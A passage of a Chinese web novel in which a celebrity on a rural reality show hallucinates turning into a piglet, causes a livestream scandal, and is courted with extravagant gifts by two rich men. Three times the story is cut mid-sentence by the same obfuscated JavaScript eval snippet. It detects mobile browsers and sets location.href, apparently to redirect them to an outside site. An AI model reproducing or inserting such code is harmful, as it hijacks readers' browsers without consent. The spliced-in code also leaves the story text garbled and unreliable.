毫无征兆地,脑里一阵刺痛,他手一抖,手机落到地上。 杨梅是第二个洗完的,她穿着一条白裙子,发尾的水还在嘀嗒,推开门,却看见院子站着一只前后踱步的小猪。 小猪很干净,可爱至极,一看到杨梅就冲她“哄哄”叫着。 10. 直播事故 杨梅暂时放弃找吹风机的想法,蹲下身对小猪道:“你怎么跑上来了小猪?这里是给你做饭和放猪饲料的地方,你生活的地方在下面,我带你下去吧?” 小猪居然用力摇了摇头。 杨梅有些惊讶,“你听懂我说话了吗?” 小猪用力点了点头。 是的,这只可怜的小猪,正是高嘉璈。他只记得自己头一疼,眼前一黑,等再醒来,已经变成一只小猪了。 任他怎么说话,杨梅都听不懂,其他嘉宾也洗完澡,围了过来,同样不知道他在说什么,白子慎还张罗着要把他送到下面猪圈里。 高嘉璈急得团团转,他一世有英名有骂名,但如果留给世间最后一件事是个变成猪笑话,他愿意一头撞死。 梅盛最后一个洗完,往这边走来,“怎么了?” “这有只跑出来的小猪,”周晓文说,“我们正说着要把它送回去呢。” 白子慎说:“也不知道是哪个圈里的。” 蓝岚说:“问问饲养员吧。”说完,她俯身把小猪抱起来,就要往下面猪圈走。 高嘉璈在她怀里拼命挣扎,但自己体型太小,根本无济于事。 “蓝岚,放开我,我是高嘉璈!” “等等。” 梅盛叫住蓝岚,眉头微皱朝她走来,看向她怀里地猪,伸出手说:“我去问吧,天色不早了,你们早点回去。” 蓝岚便把猪给了他,喊上杨梅一起离开了。 周晓文追上梅盛说:“梅哥,我和你一起去。” 梅盛却止住他,说:“没事,你先回去,把直播设备弄好。” 周晓文想了想,说:“好吧,那哥你早点回来,我等你一起播。” 梅盛似是而非地“嗯”了一声。 白子慎四处看了看,说:“高嘉璈呢?”这时,他瞟见不远处地上有一部手机,走过去一看,阴影处还丢着一条黑裤子和一件无袖背心。 “这是高嘉璈的衣服啊,”白子慎捡起,说,“他就算是洗澡也不能把衣服丢外面吧,难道一会儿光着出来?等等,衣服、掉落的手机,我天!他不会是遇到山里的土匪了吧?” 周晓文瞟了一眼,说:“遇到土匪应该抢他的衣服和手机,把他扒光抢走图什么?再说,什么年代了,哪里还有土匪?还不如说他在遇到个富婆把他扒光现实些。” “你这更扯,大山里哪里来的富婆?” “那不然怎么解释……” 高嘉璈无语,再说下去,自己就要被外星人抓走了。 梅盛咳了一声,二人止住争吵。 “走吧,”周晓文拉了白子慎一下,小声说:“他肯定先走了,难不成变成猪待在了猪场吗?” 白子慎觉得有道理,只好对梅盛挥了挥手,和周晓文一起离开了。 等他们的背影消失在山里尽头,梅盛才低头看向怀里的小猪,问:“怎么回事?” 高嘉璈说:“我也不知道,我洗完澡,然后脑袋一痛,醒来就变成这样了!” 梅盛找了个椅子坐下,把高嘉璈提起来,在明亮的月光下前后看了看,确实是一只粉嫩的小猪,又把高嘉璈猪放回膝上,说:“那为什么只有我能听到你说话?” “你这回信了吧,猪真的会说话!”高嘉璈愤慨地说完,又觉得不对,这不在说自己真是猪了吗?但转念一想,有些害怕地说,“梅盛,你说猪圈里的猪会不会和我一样,都是人变的。” 梅盛被他说得背后发凉,默默把他抱起,走到下层猪圈,在外面听了会儿,摇头,说:“里面的猪说什么我听不懂,而且它们都待在猪圈那么久了,要是人的话,今天就会告诉你了。” 有道理。高嘉璈点了点重重的脑袋。 两个人沉默了一会儿,高嘉璈想到今天听见猪说话只有梅盛信了自己,刚才梅盛也没质疑,下来看猪圈,心里不免有些暖意,说:“那啥,今晚还是要谢谢你。” 梅盛垂眸看他,“谢我什么。” 他说的是陈述句不是疑问句,明显就是明知故问。 高嘉璈才要说话,身后忽然传来一阵喷水声,接着是被水呛到的剧烈咳嗽。 梅盛转头,是下午那位饲养员。他一边咳,一边用手捂住眼睛,说:“我什么都没看到,老板,你们继续,你们继续。” 说着,像只螃蟹一样挪到旁边的小房子里,“砰”地一声关上门。 高嘉璈抬头看了看梅盛,“他什么意思?” 梅盛摇头,今天发生的许多事都超出了他的理解范围。 他回到上层浴室,找了个浴巾把高嘉璈猪裹起来,开着猪场外最后一张车回了陶三叔家。 周晓文为他开了门,惊道:“梅哥,你怎么还抱着这只猪?” 梅盛说:“喜欢,买下来了。”说完,进屋上楼,把高嘉璈带到二层阁楼的房间里,在楼下周晓文震惊的目光中关上门。 高嘉璈落在摊子上,看着这有自己房间两个大的屋子,努了努嘴。 “今晚你先在这里睡。”梅盛说,“如果明天还是这样,我带你去医院。” 高嘉璈说:“医院能看吗?” 梅盛说:“那带你去研究所。” 高嘉璈趴在垫子上,四只脚缩在身下,抬头看灯光下英俊的男人,问:“梅盛,你为什么对我这么好?还是你对每一个代言人都这样?” 梅盛遮上摄影机,开始换衣服:“丰和没有别的代言人。” 也是,哪个明星会脑残到来代言农产品。 “所以你是因为我是丰和代言人,才对我好?”高嘉璈笑了笑,“你怕我违约吗?” 梅盛看了他一眼,说:“不是。” “那是因为那晚,我亲了你,你心动了,想追我?” 梅盛深吸一口气叹出:“不是。” 高嘉璈微微皱起眉,翻了个身,说:“难道是因为你良心发现了,要补偿我代言猪饲料带来的心理伤害?” “不是。”梅盛一边说,一边把上衣脱下,露出精壮的手臂和结实起伏的腹肌,状似无意地转过头,却发现高嘉璈正傻乎乎地盯着灯看。 他只好穿好上衣,扣上扣子,问:“你问这个干什么?” “想问啊。”高嘉璈这才看向梅盛,“你莫名其妙对我这么好,我内心不安。” 梅盛打开电脑,支好灯光,说:“马上要直播了,你来吗?” “你的直播我凑什么热闹,”高嘉璈看着自己四只猪蹄,“我今晚也直播不了了,明天又要被海儿问询,问我今晚去哪儿了,然后我说,我变成猪和你待了一晚上,她估计又得晕。” 梅盛没答,看着电脑页面愣住了。 “看什么呢?”高嘉璈来了兴趣,跳上椅子,趴在梅盛肩上。 《我们在农村!》今夜一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246596|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 播出,爆了。 热搜前十都和他们有关,什么“女团下岗当农民”、“白子慎是谁”、“顾留新女友在种田”、“周晓文种田穿搭”…… “他买热搜不看词条的吗?”高嘉璈笑得肚子疼,“种田穿搭,为什么没有割猪草穿搭和杀鸡穿搭。” 梅盛嘴角弯了弯,上滑鼠标,说:“还有你的词条。” 高嘉璈伸头去看,前三热搜分别是:“梅盛周晓文好磕”、“高嘉璈帅”、“梅盛好帅”。 高嘉璈瞟了一眼身边的男人,确实高鼻深目,神秘又帅气,不太甘心地接受了这个比自己多出来的“好”字。 点“梅盛好帅”的词条有伤自尊,点“高嘉璈帅”的词条又有点自恋,于是高嘉璈说:“我想看看你和周晓文那个词条。” 梅盛微微挑了下眉,没说什么,点了进去。 话题主持人发了一段视频,是梅盛为周晓文贴上创可贴的事情,下面有上万的评论进百万的点赞。 高嘉璈反复看了几遍,说:“这场景怎么我还有点熟悉?” 梅盛说:“手是你的,创可贴是你的,但脸是周晓文的。” “第一天割猪草我手破了那次?”高嘉璈问。 梅盛点头。 妈呀,这就是剪辑的艺术吗?高嘉璈再次目瞪口呆。 视频和话题下面讨论了上万层楼,无非在说梅盛双标、周晓文好可爱、梅盛和周晓文天生一对,甚至他俩的cp超话都建好了,已经有几万粉丝。 有个点赞很高的评论抓住高嘉璈视线: 梅总和晓文哥睡一个房子,又都是把摄影机遮上,你们说,晚上他们俩会不会把持不住干了……点什么吧? 高嘉璈咳了一声,问:“你们干了吗?” 梅盛眨眨眼,说:“干什么?” “又搁我这儿装纯是吧,”高嘉璈有些怒气地说,“大家都是成年人,你有生理需求我不笑话你。” 梅盛挑眉,问:“你为什么想知道?” “就好奇,想吃瓜。” “没有,”梅盛说,“如果我上,他第二天根本下不来床。” 高嘉璈的脸蹭地一下红了,自己哪怕是猪,也已经红成烤乳猪了,他舌头打结道:“哪儿,哪儿有你这么自信的人?” 梅盛嘴角勾起,说:“实话实说,大家都是成年人,有生理需求不奇怪,能力强也不奇怪。” 高嘉璈不知道该说些什么,他有点难以抑制地想去看看梅盛的“能力”,头还没低下去,外面传来周晓文的声音,吓得高嘉璈赶紧抬起头。 “家人们想看看梅总啊,没问题,等我问问。梅哥,你方便吗?我们合体直播一下?” 梅盛听见,还没等高嘉璈从他肩头下去,就说:“进来吧。” 周晓文推开门,和梅盛打了个招呼,看了眼他肩上的小猪,没多想,对直播间粉丝道:“家人们,梅总就在我面前,等我转换一下摄像头。” 周晓文把摄像头转到梅盛身上,还没说话,忽然,弹幕像是疯了一样刷起来,满屏的“啊啊啊啊啊!” 然后下一秒,直播间被封了。 周晓文:? 梅盛问:“怎么了?” “不知道啊梅哥,直播间莫名其妙被封了。” 周晓文说着,翻看了一下通知,手指一顿:“认真的吗,封我一个月!我干什么了!!” 11. 超级无敌变变变 梅盛不甚在意地说:“明天打电话问问客服。” 周晓文满脸沮丧,问梅盛道:“梅哥,一会儿你直播,我能和你一起吗?” 高嘉璈眼睛一转,心想,什么直播间被封,你在这儿等着呢。 梅盛抬起表看了看,说:“我总共直播半小时,你后十分钟来吧。” 梅盛连连点头,“那我下去等你梅哥,二十分钟后我上来。” 开始直播前,高嘉璈跳下他的肩,一个人……一个猪地上了床,抬起自己的猪手研究起来。 前十分钟的直播还算正常,高嘉璈默默在听,发现梅盛面对粉丝虽然也是笑的,但比起自己好像少了一份谄媚,多了一份无所谓。也是,人家是大资本家,怎么会有所谓韭菜呢? “我和周晓文的关系?”梅盛从快速滚动的弹幕中读道。 高嘉璈八卦的耳朵瞬间竖起。 “合作关系。”梅盛简短概括道,又读了一条,“我和高嘉璈的关系?” 这次,他没有很快回答,想了一会儿,才说:“目前是同事关系。” 高嘉璈简直要为梅盛鼓掌了,这就是语言的奥妙吗?什么都没说,什么都说了——只是能不能别带自己啊! “高嘉璈今晚去哪儿了?”梅盛读着,微微转头往旁边看了一眼,说,“我也不清楚。” 弹幕又炸了,纷纷刷着: “我懂我懂我懂!” “梅总工作是工作,生活是生活对吧(坏笑)” “正片里你俩怎么像仇人一样?” “我要磕这对纯恨cp!” “被正片剪辑欺骗的一生。” 梅盛看着弹幕,有点不明白他们的意思。 直播间很快爆火,磕各种cp的cp粉、梅盛的颜粉,还有些莫名其妙进场的路人。 “真是鬼打墙,我今晚刷到过好多次这个人了。” 梅盛一看就知道,是公司在给自己投流量。他有些无奈地揉了揉眉心,他并不在意这些,反而火会带来一系列麻烦事。 他打算结束直播,但又担心自己对观众的鲁莽会导致公司市值下降,只好拿起电话,准备请周晓文替自己播一会儿,好让他去让市场部控制流量。 “怎么了?”高嘉璈察觉到他的动向,问。 梅盛说:“要去打个电话,周晓文替我播一会儿。” 高嘉璈心想他今天也帮了自己不少忙,从床上跳下来,说:“我替你吧,你把我放在电脑前,说是你的宠物,我和他们互动一下。你放心,萌宠频道还是很吃香的。” 梅盛觉得可行,蹲下身抱起高嘉璈,把他放在桌上,然后就去打电话了。 高嘉璈一看直播数据,吓一跳,观看直播的居然有近百万人,这在圈内都是数一数二的存在——丰和这是给自家老板投了多少流啊。 弹幕被一片“啊啊啊啊啊啊”刷爆,里面夹杂了几句夸赞: “天呐我以前怎么不知道他那么帅!” “完全是可以当老婆的程度!” “楼上起开,这是我老婆!” 啧,有没有搞错,梅盛那样的形象都可以嬷。高嘉璈有些不屑地撅了撅嘴。 “啊啊啊啊啊好可爱!” “老婆我死了!!!” 弹幕又开始刷起来一些莫名其妙的话,高嘉璈笑起来,心想丰和市场部是不是买错水军了,对梅盛夸可爱、老婆,小心第二天被裁员。 “老婆笑了!!!” 看见这一条,高嘉璈的脑子才转回来,这好像不对吧,是在说自己吗?不是,粉丝们居然看得出一只猪在笑吗? 还没等他细看,屏幕忽然黑了。 上面出现一串字:“内容有伤风化”。 高嘉璈:?我一个猪怎么有伤风化了? 这时,梅盛恰好回来,见直播停了,问:“怎么结束了?” 高嘉璈忙摇头,说:“和我无关,我什么都没干,我只是在看弹幕,然后就莫名其妙被禁了。” 梅盛上前看了一眼,关上电脑,说:“电脑没电了,我告诉周晓文别上来了,今天就这样吧。” …… 高嘉璈先是听见鸟儿的叫声,然后从梦中醒来。 梦是什么他不记得了,但困意并没有离开,他伸了个懒腰想接着睡,却听到外面有脚步声。 “梅哥,你起来了吗?” 烦人的周晓文,高嘉璈没想太多,闭着眼睛又要沉入梦乡。 门被敲了敲,然后推开。 下一秒,一声惊叫划破西瓜地村平静的早晨。 高嘉璈被他吓醒,皱着眉正要说话,却发现自己全身上下只穿着一条内裤,躺在梅盛身边。 梅盛也醒了,看见高嘉璈这副模样,同样愣住。 周晓文扶住门框,勉强站稳,指着高嘉璈说:“高嘉璈,投怀送抱也分时候吧!现在还在录综艺,你脱光了爬梅总床上是要干嘛!!!” 高嘉璈看看梅盛,看看自己,比周晓文还懵:“不是,我怎么会在你床上?什么情况?” “你还贼喊捉贼!”周晓文上前,想把高嘉璈薅下来,却被梅盛眼神止住。 裸着,在床上,梅盛只能想到昨晚的小猪,他对高嘉璈道:“你的诅咒消失了。” 高嘉璈瞬间心领神会,松了口气,至少综艺还可以继续录,人还可以继续做——当然,要是周晓文不红着眼盯着自己就好。 “那啥,”高嘉璈摸了摸鼻子,对周晓文说,“你能先出去吗?我穿个衣服……你也出去。”高嘉璈看着梅盛,说。 梅盛用一种诡异中透着暧昧的眼神扫了高嘉璈一眼,下床对周晓文说:“走吧。” 周晓文气得牙痒痒,瞅了高嘉璈一眼,正要离开,楼下传来急促的敲门声。 陶三叔一边打着哈欠一边开了门,海儿像风跑了进来,冲上楼梯,推开梅盛卧室门,“高嘉璈!!” 高嘉璈赶紧用被子裹住身体,看着头上冒烟的海儿,说:“你怎么来了?” “你疯了吗?你是完全放弃在社会生活了吗?你怎么能做出那种事情!还是两次!”海儿气得发抖,指着周晓文和梅盛,“还有你们!你们怎么能帮他一起……干那种事情!” 周晓文被海儿骂得都忘记生气了,满脸不解。 高嘉璈震惊地看着海儿,她居然敢骂梅盛,看来事情很严重。 海儿把手机丢到高嘉璈手边,“你自己看看!” 高嘉璈裹着被子把手机摸进去,从被子里伸出手看。 热搜第一爆了,话题是“高嘉璈全/luo直播”。 高嘉璈:??? 点进去,他看到了终生难忘的东西。 营销号截了两段视频。第一段是他在梅盛房间里,对着电脑傻笑,上半身光着,只有脖颈处系了一条银色的金属链子,直播灯打在脸上,有种非人的帅气和精致。 第二段更为震惊。 第三视角的一段视频里,梅盛坐在椅子上看电脑,神情专注。 而高嘉璈居然从后趴在梅盛身上,头还搭在他肩上,亲昵十分,最主要的是,高嘉璈全身上下只有一条内裤,还被营销号打上马赛克,显得更诡异。 高嘉璈看完,石化了。他明白直播间为什么会被封了。 海儿歪着脑袋,“解释一下吧!” 高嘉璈张嘴,才要说话,又不知从何说起,总不能说做这些事情的时候,自己以为自己是猪吧。 海儿见他支支吾吾,气得要哭出来了,“大哥,你是不是有什么苦衷?因为代言?你不至于做出色/you梅总取消代言的事情吧?” 梅盛挑了挑眉。 高嘉璈见她也是为自己好,挠了挠头,还是把昨晚的事情全盘托出。 这回,轮到海儿石化了。 周晓文指着他,大惊:“你……昨晚那只猪,是你!” 高嘉璈点头。 “梅哥,你早就知道?”周晓文问。 梅盛“嗯”了一声。 海儿听见他们的话,更震惊了,“所以刚才高嘉璈说的是真话?” 梅盛说:“我作证,是真的,在我和其他嘉宾眼里,他确实变成了一只小猪。” 周晓文连连点头。 “那其他人呢?其他人眼里也都是猪吗?” 梅盛想了想,自己回来是开车的,除了周晓文没见过别人。 等等…… 高嘉璈和梅盛对视一眼,梅盛说:“那个饲养员。” 高嘉璈无语地闭上眼睛,“我才说他在捂眼睛、胡言乱语些什么。所以在他眼里,我不是猪,并且,我只穿了一条内裤和你站在猪圈前。” 他一边说着,用手捂住脑袋,默默转过头去,这都什么事啊! “等等等等,”听到那么离奇的事情,海儿的注意力也被转移了,“我理一下,也就是说,昨晚,你们五个嘉宾全都把高嘉璈看成一只猪,而且高嘉璈自己也把自己看成猪。而且,高嘉璈这只猪还只能和梅总沟通。但事实上,他并没有变成猪,而是光着身子到处乱跑,是这样吗?” 高嘉璈几乎要把脑袋埋进被子里,小声说:“也没有到处乱跑……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246597|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周晓文点了点头,“目前看来,是这样的。” 海儿哪怕再觉得离奇,也不得不信,如果梅盛愿意陪着高嘉璈做戏,可其他人呢?尤其是周晓文,她知道,他一直对梅盛心有所属,直播断掉前也不像提前知道会发生什么的样子。 “那你们六个人,为什么会同时产生这种幻觉呢?”海儿问出问题的核心。 周晓文、高嘉璈都摇了摇头。 梅盛却想起什么,对高嘉璈说:“既然是我们出现了幻觉,那你之前能和猪说话会不会也是幻觉?” 高嘉璈如梦初醒,眼睛一亮,说:“有道理啊,毕竟猪不可能看过红楼梦,但我看过,所以我脑补出了它们在和我说话。” “可你后来不是听不见猪说话了吗?”周晓文问。 “是啊,”高嘉璈皱着眉思考了一会儿,“好奇怪。” 海儿听着他们什么和猪说话、猪讲红楼梦的故事,只觉得这世界疯了。 这时,梅盛的电话响起,他看了一眼,拿着手机出去了。 房间里,剩高嘉璈、海儿、周晓文尬着。 高嘉璈咳了两声,“那啥,要不你们先出去,我穿个衣服。” 话音刚落,楼下又传来敲门声,然后是脚步声,下一秒,房间的门被陈彤推开。 高嘉璈重新裹上被子,这衣服他今天还能不能穿了! “你和海儿不能一起来吗?” “你们昨晚到底什么情况?” 高嘉璈和陈彤异口同声道。 海儿满脸复杂地把陈彤拉到一边,低声把刚才的事情复述了一遍,周晓文还帮忙作证,生怕自己因为传播yin/hui视频被抓。 陈彤听完,脸上露出了和海儿一样的神色。 刚好,梅盛拿着电话进来,脸色更加复杂,他按下免提,说:“你们听听吧。” “大,大家好,”电话那端的声音发抖着,“我是丰和集团研发部的成员,我想和大家道个歉。实在抱歉,由于我们的失误,你们吃的黑荞里,有一种影响神经的东西。它能改变每个人全身的感觉,视觉、听觉、触觉都会因为一些事情而触发改变。简单来说,就是出现幻觉,而且是全息影像的幻觉,大家能理解吗?” “但昨晚我真的感觉自己是一只猪!”高嘉璈说,“视角、身体都很真实!” “都是神经的作用,”研发成员小声说,“我们的所有感觉都是神经控制,你可以理解为,你的神经给你输出了错误的信号……” 周晓文打断,说:“那为什么我们会出现同样的幻觉?” 研发成员似乎很难说清,“嗯”了一会儿后,说:“幻觉出现得原因很复杂,通常来说,你们当天经常看到的东西会投射进潜意识,成为幻觉的来源。” 高嘉璈还是不解:“我们那天确实看见了很多猪,但为什么单单是我变成了猪?而且他们所有人,所有吃了黑荞的人,都把我看成了猪。” 研发成员更难开口了,踌躇好半天才说:“……就是,会,潜意识,把和猪联系最紧密的人看成猪……” 高嘉璈瞬间哑口无言。 周晓文问:“还有,为什么高嘉璈变成猪后,只有梅哥能和他交流?” “这个也很难说清……因为这个成分的研究很不成熟,但可能和剂量和时间有关。” “剂量?”周晓文皱起眉头,“不对啊,昨天吃黑荞吃得最多的是白子慎,其次是蓝岚。” “梅总,”电话那头,一个清冷的声音说道,“拍代言照和视频那天,你和高先生都吃过黑荞……” 说话的是梅盛的助理,高嘉璈全想起来了,他看向梅盛,难得地,梅盛避开了他的目光。 总裁大人也有心虚的时候。高嘉璈气愤地想。 梅盛清了清嗓子,问:“幻觉消失的条件有哪些?” 研究人员小声说:“要么外部刺激,要么就是,睡一觉起来就好了。” 高嘉璈明白自己猪语神功消失的原因了——那只小猪咬了自己的手。 事情到这里差不多清晰,高嘉璈阴阳怪气地评价梅盛:“梅总,你有这样的精兵良将,搞什么农业?你应该进军人类神经和脑子研究。” 梅盛想了想,说:“小童,把那几个研发黑荞的工作人员辞退了。” 电话那头的研发成员有些急,但这也是预想之中的事情,还好黑荞没有全面发售,否则整个丰和集团都要被赔完。 “然后,”梅盛补了一句,“推荐他们进国家科学技术研究院,我亲自写推荐信。” 他把“亲自”二字咬得很重。 12. 嘉年华的竞争 高嘉璈穿着梅盛的衣服,在陈彤和海儿的“押送”下回到阿云家。 站在门口……墙边,高嘉璈有些不好意思地对陈彤道:“抱歉,给你们添麻烦了。我们今天要干点什么?我一定好好表现。” 陈彤说:“今天休息一天吧,我们下午会开会讨论一下怎么解释舆论。” 高嘉璈焉巴巴地点了点头。 白子慎戴着墨镜在院子里晒太阳,看见高嘉璈回来,动了动,说:“阿云去镇上了,今天没别的事情。” 高嘉璈“嗯”了一声。 白子慎的目光在墨镜后面紧紧追随高嘉璈,神叨叨地说:“年轻人,你胆子也太大了。不过此招虽险,胜算确实大。” 这老哥明显又想多了。但高嘉璈懒得解释,让他觉得自己是个为了名利什么都干的出来的人,总比告诉他昨晚自己幻想变成猪好。 他溜回房间,自己的衣服手机都一股脑丢在床上。关上门,正要坐下,又听白子慎在外面:“阿云让你喂下猪和羊。” 高嘉璈无语地抿了抿嘴,鉴于白子慎帮自己把衣服手机拿了回来,只好说:“我一会儿去。” 外面总算安静下来,高嘉璈换下梅盛的衣服,叠好后穿上自己的烂T恤,躺在床上拿起手机,无数消息瞬间涌入。 海儿给他打了五十个电话,从昨晚打到清晨。 然后是陈彤,发了三十条消息,苦苦哀求高嘉璈别脱了,自己节目还要播出。 此外还有朋友的、父母的,最近的是王总的电话。 高嘉璈先和父母报了平安,然后颤抖着拨通王总电话。 “小高!!”王总的声音听起来亢奋无比,“你简直就是天才!你怎么想到那么好的曝光方式的!哎呦你不知道,你的粉丝居然一夜间涨了进两百万!你真是为了公司鞠躬尽瘁啊,是我们的财神!!” 高嘉璈挂了几乎高兴疯了的王总电话,暗骂该死的资本家真是不顾员工死活,我都社死了好吧!! 然后他点开某博,震惊地发现,自己的粉丝破了千万。 无数粉丝在他的帖子下面艾特内裤厂家代言。 还有让他推荐内裤品牌的——只要昨晚直播的那个牌子。 高嘉璈:…… 海儿的电话打了进来,“大哥,准备一下,今晚八点直播。” “我号被封了啊,去哪儿播?” 海儿说:“你把周晓文和梅总的号炸了,你的号还好好的。” 对哦。高嘉璈心里升起一丝对周晓文和梅盛的愧疚,转瞬即逝,毕竟错不在他。 海儿千叮咛万嘱咐:“今晚直播肯定有很多人提到昨晚,保持暧昧态度不提及,毕竟你穿了内裤,也不是违法的事情,顶多伤风败俗。” 高嘉璈:“……你能委婉点儿吗?伤害到我脆弱的心灵了。” 海儿:“今夕直播必多言昨暮,持幽暧不言及,终公著内袴,亦非不法之事,仅病风败俗。够委婉了吗?” 高嘉璈:? 直播前,高嘉璈先喂了羊和猪,又泡了一碗红烧牛肉面喂自己。 等他吃完面、惊讶于阿云家的红烧牛肉面居然比以前吃的好吃时,发现泡面的牌子是“康帅傅”。 他装作没看见,把汤喝完。 “哈喽直播间的宝宝们,我是你们的嘉璈~欢迎来到直播间,新来的宝宝可以左上角点个关注哦。” 高嘉璈只打了个粉底,手机后面支了个老式台灯,打出的灯光居然刚刚好,像夕阳的自然光,好多粉丝问西瓜地村是不是还没日落。 高嘉璈和他们闲聊了几句,直播间的人数一直在飞涨,系统像中邪一样,短短十分钟涨到六十万人观看。 面对高嘉璈那张无暇精致的脸蛋,直播间几乎一片夸声。 “我天!主播好帅!!” “怎么比昨晚视频里还帅?” “家人们我本来是来吃瓜的,现在有点迷上了。” 在一众小心心小花花中,一个“豪华游轮”的礼物忽然把直播间的节奏提了起来。 高嘉璈挑挑眉,面色不改,笑着念起礼物弹幕:“谢谢一片杨柳老师送的游轮。” 他话音未落,又一个“摩天大厦”刷起来,同样是这个“一片杨柳”,紧接着“紫禁城”、“真爱永恒”、“真爱记忆”各种大额礼物连着刷起来。 他并不惊讶,肯定是梅盛。 高嘉璈暗笑一声,什么年代了,还在用刷礼物这种没技术含量的追人手段。 梅盛确实是大资本家,那礼物刷起来没个停,弹幕全在猜测这个神秘人物是谁。 高嘉璈杵着下巴,笑问客从何处来。 炸屏的礼物总算停了,片刻后,“一片杨柳”在弹幕里打了两个字。 “萧远。” 弹幕瞬间炸了。 高嘉璈的笑容僵住,萧远是京圈最有权势最年轻的大佬,传说他清冷又高傲,很少有人能近他的身,他也从未有过什么绯闻对象。 真正的霸道总裁,连姓都那么霸道。 高嘉璈很快收住表情,笑了笑,说:“多谢萧少爷。” 一片杨柳:“留个联系方式。” 高嘉璈一愣,正要拒绝,却见礼物又刷起来了,实打实的嘉年华,一刷刷了五个才停。 高嘉璈震惊于萧远的财力,忙道:“萧少爷,不用刷了不用刷了,我晚点让我经纪人联系您吧?” “好好看清我是谁。” 弹幕里忽地出现这句话,高嘉璈一看,顶着礼物第一标志的旁边,是“梅盛”两个字。 弹幕再次炸了。 “本来是来听昨晚的瓜的,怎么现在还有别的瓜了!” “我靠所以,高和梅是真的!” “啊啊啊梅总来宣示主权了!” 高嘉璈:“你号不是被封了吗?” 梅盛:“我缺个号吗?” 高嘉璈才要说话,屏幕上又开始刷礼物了,同样一个一个嘉年华地狂刷。 是萧远。 一片杨柳:“主播我们找个清净的地方聊聊吧,有人很烦。” 高嘉璈:“萧少爷,我那个……” 十个嘉年华。 梅盛:“过来我家,不然我过去。” “梅盛你别……” 二十个嘉年华。 一片杨柳:“留电话,我打给你。” 五十个嘉年华、六十个、七十个、八十个、九十个…… 梅盛不语,只一味刷礼物。 高嘉璈手忙脚乱地关了礼物系统,“二位大佬、总裁,谢谢你们的抬爱,但不要这样,我不是什么商品,你们刷得再多也没用,别浪费钱了。” 一片杨柳:“留个电话,主播。” 片刻后,他又发了一句:“给我个机会。” 弹幕:“啊啊啊啊啊什么高傲京圈佛子为爱低头的纯爱情节啊!!” “天呐但是昨晚高嘉璈不是趴在梅盛身上吗?” “强取豪夺,我更爱了。” 高嘉璈真是骑虎难下,没想到,正在这时,梅盛主动退出了直播间。 高嘉璈松了口气,让海儿把电话留给萧远,又有一搭没一搭地聊了几句,结束了今晚的直播。 最先打电话来的是王总:“小高,不,高财神!你今晚直播赚了七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246598|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百多万!!” 然后是海儿:“把矛盾转移到萧远身上,很聪明,昨晚的事情热度下去了。而且萧远是个很值得结交的人,他的人脉很广。” 最后是萧远,这位京圈少爷的声音听起来三十不到,嗓音很低,一口京腔:“等你综艺结束联系我,我们见见。” 高嘉璈敷衍完萧远,洗了脸,躺到床上看着天窗外的漫天繁星,心里总是有什么梗着。 他打开手机,没有消息,又关上。 就这样反复了好几次,高嘉璈直到睡着都没弄清,自己到底在期待谁的消息。 第二天他很早就醒了,除了海儿提醒他今天好好表现、萧远说了句早安后,没有别的消息。 高嘉璈用冷水扑了脸,整个才终于活过来,他把那个奇怪的心结藏了起来,以最好的状态去面对今天的人任务。 阿云在昨晚回来,不知道这几天发生的事情,仍然笑脸灿烂地和他们说了早安,并分配了任务: 今天早上,高嘉璈和白子慎需要一个割猪草、一个去放羊。猪草要割半框,羊要喂饱。 白子慎选择割猪草。轻松、熟练。 阿云把山羊放出拦,告诉高嘉璈怎么吆喝羊,往哪里走草多,说完,她挠挠头,把鞭子递给他,“我觉得没什么好说的,这很简单。哦对,我有十一只羊,但我没养狗,你要看着点,别丢了。羊身上有两道杠就是我的羊。” 高嘉璈接过鞭子,点头道:“放心。” 一个小时后,山路上,只有高嘉璈和摄影师两个人,十一只羊跟在他们身后,吃吃停停。空气清新、鸟鸣绕耳,高嘉璈心情好起来,小声哼起歌来,还没成调,后面传来呼喊。 “别跑啊!别跑啊!” 高嘉璈转身,只见一大群羊朝自己奔来,咩咩咩地叫个不停。 他赶紧躲到路边,让那群羊从自己面前跑走,结果阿云家的羊也跟着跑了,他一惊,正要追,看见两个熟悉的身影。 周晓文和蓝岚追着羊群,身后还跟着两条大黄狗。 于是高嘉璈从悠闲地唱着农家小调,加入了呼哧呼哧地羊群追逐赛。 那群羊一路跑到后山的一片草场被大黄狗才逼停,散开来低着头吃草。这里的草长得比脚踝都高,基本没什么人踏足过的痕迹,高嘉璈担心会不会有蛇。 蓝岚喘着气,有几分责怪道:“我都说了别赶别赶,要不是带了狗,就全跑光了。” 周晓文也气喘吁吁,瞅了她一眼,说:“那我以前也没放过羊啊!” “我也没放过,但这是常识吧。” “算了算了,”高嘉璈劝道,“反正羊也停下来了” 